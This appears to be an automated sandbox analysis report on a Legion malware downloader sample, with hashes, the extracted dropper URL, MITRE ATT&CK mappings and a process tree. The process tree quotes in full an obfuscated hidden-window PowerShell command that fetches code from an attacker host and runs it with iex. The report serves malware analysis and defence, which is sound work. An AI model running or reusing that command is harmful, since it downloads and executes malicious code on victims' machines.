legion | 2b61b3b00aa5d548e41dc305cb1271c26dc387601a7a7cdb63600b49c270bb30

Analysis

max time kernel
63s
max time network
128s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
15/06/2022, 02:23

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General

Target
2b61b3b00aa5d548e41dc305cb1271c26dc387601a7a7cdb63600b49c270bb30.exe
Size 184KB
Sample220615-cvcl9agefn
SHA256 2b61b3b00aa5d548e41dc305cb1271c26dc387601a7a7cdb63600b49c270bb30
MD5 d103074755792906a0aab038103444e3
SHA1 ffb8d5a1d2d3dda1fa013168017bd833aaa28064
SHA512 30be12dba187e19d797e6a5b502185ac37848ef80e9431e0cfb98c4b64c104f122fa2101538a0805513b7658bc8585a31ce0a8f00b725f33b8f70645e82e4660
MD5 SHA1 SHA512

Score

10^/10

legion downloader

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://legion17.com/legion17/welcome

Signatures

Legion
Legion is a malware downloader written in C++.
downloader legion

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	4116	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4116	powershell.exe
4116	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4116	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1136 wrote to memory of 2540	1136	2b61b3b00aa5d548e41dc305cb1271c26dc387601a7a7cdb63600b49c270bb30.exe	80
PID 1136 wrote to memory of 2540	1136	2b61b3b00aa5d548e41dc305cb1271c26dc387601a7a7cdb63600b49c270bb30.exe	80
PID 1136 wrote to memory of 2540	1136	2b61b3b00aa5d548e41dc305cb1271c26dc387601a7a7cdb63600b49c270bb30.exe	80
PID 2540 wrote to memory of 4116	2540	cmd.exe	82
PID 2540 wrote to memory of 4116	2540	cmd.exe	82
PID 2540 wrote to memory of 4116	2540	cmd.exe	82

C:\Users\Admin\AppData\Local\Temp\2b61b3b00aa5d548e41dc305cb1271c26dc387601a7a7cdb63600b49c270bb30.exe
"C:\Users\Admin\AppData\Local\Temp\2b61b3b00aa5d548e41dc305cb1271c26dc387601a7a7cdb63600b49c270bb30.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1136
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#//legion17.com/leg#ion1#7#/#w#el#co#me''#,#''H#or#seHo#urs''#)#|#i#e#x'.replace('#','').split('@',5);&$t[0]$t[1]}"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -windowstyle hidden -command "&{$t='#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#//legion17.com/leg#ion1#7#/#w#el#co#me''#,#''H#or#seHo#urs''#)#|#i#e#x'.replace('#','').split('@',5);&$t[0]$t[1]}"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4116

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Web Service

T1102

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

memory/4116-132-0x0000000005320000-0x0000000005356000-memory.dmp

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memory/4116-133-0x0000000005AB0000-0x00000000060D8000-memory.dmp

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memory/4116-134-0x0000000005A00000-0x0000000005A22000-memory.dmp

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memory/4116-135-0x00000000061D0000-0x0000000006236000-memory.dmp

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memory/4116-136-0x00000000062B0000-0x0000000006316000-memory.dmp

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memory/4116-137-0x00000000068B0000-0x00000000068CE000-memory.dmp

Download

memory/4116-138-0x0000000008110000-0x000000000878A000-memory.dmp

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memory/4116-139-0x0000000006DD0000-0x0000000006DEA000-memory.dmp

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